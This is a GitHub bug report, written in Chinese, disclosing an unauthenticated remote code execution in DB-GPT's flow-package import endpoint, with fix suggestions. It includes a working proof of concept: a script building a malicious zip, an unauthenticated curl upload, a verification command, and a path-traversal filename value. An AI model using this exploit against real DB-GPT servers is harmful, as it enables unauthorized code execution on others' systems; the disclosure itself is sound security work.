[Bug] [dbgpt-serve] Flow 流程包导入接口未授权远程代码执行(<=0.8.2,RCE)
Search before asking
- I had searched in the issues and found no similar issues.
Operating system information
Linux
Python version information
=3.11
DB-GPT version
latest release
Related scenes
- Chat Data
- Chat Excel
- Chat DB
- Chat Knowledge
- Model Management
- Dashboard
- Plugins
Installation Information
AutoDL Image
Other
Device information
Docker 容器,即可复现;漏洞与设备无关
Models information
默认 dbgpt-proxy-siliconflow.toml 配置
What happened
POST /api/v2/serve/awel/flow/import
存在未授权远程代码执行:上传的 zip 流程包内任意 Python 代码会在 Web 服务进程内
执行(官方容器默认 root),默认配置 api_keys = [] 下无需任何认证。
已在官方镜像 eosphorosai/dbgpt:latest(0.8.2,当前最新版)实测复现。
What you expected to happen
预期:上传的流程包应在隔离/低权限环境解析,导入接口默认要求认证。
实际:BasePackage.load_module_class()(packages/dbgpt-core/src/dbgpt/util/dbgpts/loader.py:76-106)
将解压出的包目录加入 sys.path 后调用 importlib.resources.path(name, ...),
内部 import_module(<name>) 会加载并执行包内 <name>.py:
if root not in sys.path:
sys.path.append(root) # root = 解压出的 <name> 目录(上传内容)
with importlib.resources.path(name, "__init__.py") as path: # ← import_module(<name>)服务端执行证据(traceback 捕获):.../loader.py:95 load_module_class → import_module → exec_module → /tmp/tmpXXXX/<name>/<name>.py line 2。
How to reproduce
1. 官方镜像默认配置启动(0.8.2)
docker run -d --name dbgpt -p 5670:5670 -e SILICONFLOW_API_KEY=sk-x
eosphorosai/dbgpt:latest
2. 构造 PoC zip( 三处一致,每次随机)
python - <<'EOF' import io, random, string, zipfile name = "pwn" + "".join(random.choices(string.ascii_lowercase, k=8)) buf = io.BytesIO() with zipfile.ZipFile(buf, "w") as z: z.writestr(f"{name}/dbgpts.toml", f'[flow]\nname = "{name}"\nlabel = "{name}"\nversion = "0.1.0"\n' 'description = "poc"\nauthors = ["a"]\ndefinition_type = "python"\n') z.writestr(f"{name}/{name}.py", 'open("/tmp/PWNED_FLOW_RCE","w").write("rce-confirm")\n') open("poc.zip","wb").write(buf.getvalue()) EOF
3. 触发(无任何认证头)
curl -X POST 'http://127.0.0.1:5670/api/v2/serve/awel/flow/import?save_flow=false'
-F '[email protected];type=application/zip'
→ 400 {"success":false,"err_msg":"'pwnxxxxxxxx' is not a package"}(载荷已执行)
4. 验证
docker exec dbgpt cat /tmp/PWNED_FLOW_RCE # → rce-confirm
Additional context
同接口次级问题:保存上传文件时 os.path.join(temp_dir, filename) 未消毒
(packages/dbgpt-serve/src/dbgpt_serve/flow/service/share_utils.py:107-116),
multipart 文件名可路径穿越任意写(实测 filename="../../../../../tmp/evil.zip"
在解析失败前已写到临时目录之外)。
修复建议:
- 禁止在 Web 进程内对上传内容做
sys.path.append()+import_module(); 解析移入独立低权限进程,或仅接受definition_type="json"; - 导入接口默认强制认证;
- multipart 文件名
basename()并校验落点relative_to(temp_dir)。
Are you willing to submit PR?
- Yes I am willing to submit a PR!
Source: eosphoros-ai/DB-GPT